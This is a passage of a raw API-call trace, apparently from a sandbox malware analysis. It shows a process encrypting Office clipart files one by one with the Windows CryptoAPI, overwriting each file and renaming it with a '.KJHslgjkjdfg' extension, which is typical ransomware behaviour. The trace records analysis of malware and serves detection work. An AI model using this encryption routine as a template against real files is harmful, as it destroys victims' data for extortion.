lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.114] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.114] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.115] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x292a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x292a, lpOverlapped=0x0) returned 1 [0158.116] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2930, dwBufLen=0x2930 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2930) returned 1 [0158.116] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.116] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2930, lpOverlapped=0x0) returned 1 [0158.116] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.116] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.116] SetEndOfFile (hFile=0x114) returned 1 [0158.119] GetProcessHeap () returned 0x2a0000 [0158.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.119] GetProcessHeap () returned 0x2a0000 [0158.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.kjhslgjkjdfg")) returned 1 [0158.120] CloseHandle (hObject=0x114) returned 1 [0158.120] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0158.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.121] GetProcessHeap () returned 0x2a0000 [0158.121] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.121] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.121] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.121] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.123] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.123] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.123] GetProcessHeap () returned 0x2a0000 [0158.123] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.123] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.124] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.124] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.124] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.124] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.124] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.124] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.124] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.124] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.124] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.124] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.124] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x108c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x108c, lpOverlapped=0x0) returned 1 [0158.127] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1090, dwBufLen=0x1090 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1090) returned 1 [0158.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.127] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1090, lpOverlapped=0x0) returned 1 [0158.127] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.127] SetEndOfFile (hFile=0x114) returned 1 [0158.130] GetProcessHeap () returned 0x2a0000 [0158.130] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.130] GetProcessHeap () returned 0x2a0000 [0158.130] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.kjhslgjkjdfg")) returned 1 [0158.131] CloseHandle (hObject=0x114) returned 1 [0158.131] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0158.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.131] GetProcessHeap () returned 0x2a0000 [0158.131] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.132] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0158.134] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.134] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.134] GetProcessHeap () returned 0x2a0000 [0158.134] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.134] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.134] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.134] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.134] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.134] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.134] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.134] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.134] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.134] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.135] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x246a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x246a, lpOverlapped=0x0) returned 1 [0158.136] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2470, dwBufLen=0x2470 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2470) returned 1 [0158.136] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.136] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2470, lpOverlapped=0x0) returned 1 [0158.136] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.136] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.136] SetEndOfFile (hFile=0x114) returned 1 [0158.139] GetProcessHeap () returned 0x2a0000 [0158.139] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.139] GetProcessHeap () returned 0x2a0000 [0158.139] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.kjhslgjkjdfg")) returned 1 [0158.141] CloseHandle (hObject=0x114) returned 1 [0158.141] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0158.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.142] GetProcessHeap () returned 0x2a0000 [0158.142] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.142] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.143] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.143] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.145] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.145] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.145] GetProcessHeap () returned 0x2a0000 [0158.145] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0158.145] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0158.145] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.145] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0158.145] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.145] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.145] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.145] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.145] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.145] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.145] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.145] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.146] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xdec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xdec, lpOverlapped=0x0) returned 1 [0158.146] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdf0, dwBufLen=0xdf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdf0) returned 1 [0158.146] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.146] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xdf0, lpOverlapped=0x0) returned 1 [0158.146] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.146] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.146] SetEndOfFile (hFile=0x114) returned 1 [0158.149] GetProcessHeap () returned 0x2a0000 [0158.149] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0158.149] GetProcessHeap () returned 0x2a0000 [0158.149] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.kjhslgjkjdfg")) returned 1 [0158.150] CloseHandle (hObject=0x114) returned 1 [0158.150] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0158.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.152] GetProcessHeap () returned 0x2a0000 [0158.152] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.152] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.152] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0158.154] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.154] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.154] GetProcessHeap () returned 0x2a0000 [0158.154] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.154] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.154] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.154] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.154] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.154] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.154] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.155] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.155] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.155] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.155] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.155] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.155] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x976, lpOverlapped=0x0) returned 1 [0158.155] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x980, dwBufLen=0x980 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x980) returned 1 [0158.155] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.155] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x980, lpOverlapped=0x0) returned 1 [0158.155] CryptDestroyKey (hKey=0x2c63a0) returned 1 